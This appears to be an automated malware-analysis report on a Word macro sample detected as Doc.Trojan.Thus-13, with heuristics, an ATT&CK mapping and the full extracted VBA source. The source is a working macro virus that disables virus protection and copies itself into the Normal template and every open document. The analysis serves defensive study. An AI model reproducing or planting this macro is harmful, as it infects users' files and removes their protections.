MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Thus-13. It contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening the document. The script attempts to disable virus protection and copy itself to other documents, indicating a self-propagation or evasion mechanism.
Heuristics 3
-
ClamAV: Doc.Trojan.Thus-13 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Thus-13
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1772 bytes |
SHA-256: af4acb83891f2c8086ae77dc4cc4c8cf38c9a96ecab62dcc4377502be6111c75 |
|||
|
Detection
ClamAV:
Doc.Trojan.Thus-13
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'MacroKiller'
On Error Resume Next
Dim objDoc As Document
Application.Options.VirusProtection = False
With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
If .Lines(2, 1) = "'Thus_001'" And .Lines(3, 1) <> "'MacroKiller'" Then _
.DeleteLines 1, .CountOfLines
If .CountOfLines = 0 Then .InsertLines 1, _
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines _
(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
End With
If NormalTemplate.Saved = False Then NormalTemplate.Save
For Each objDoc In Application.Documents
With objDoc.VBProject.VBComponents.Item(1).CodeModule
If .Lines(2, 1) = "'Thus_001'" And .Lines(3, 1) <> "'MacroKiller'" Then _
.DeleteLines 1, .CountOfLines
If .CountOfLines = 0 Then .InsertLines 1, _
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines _
(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
End With
Next objDoc
If Date > DateSerial(2002, 7, 5) Then
With ThisDocument.VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, .CountOfLines
End With
End If
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.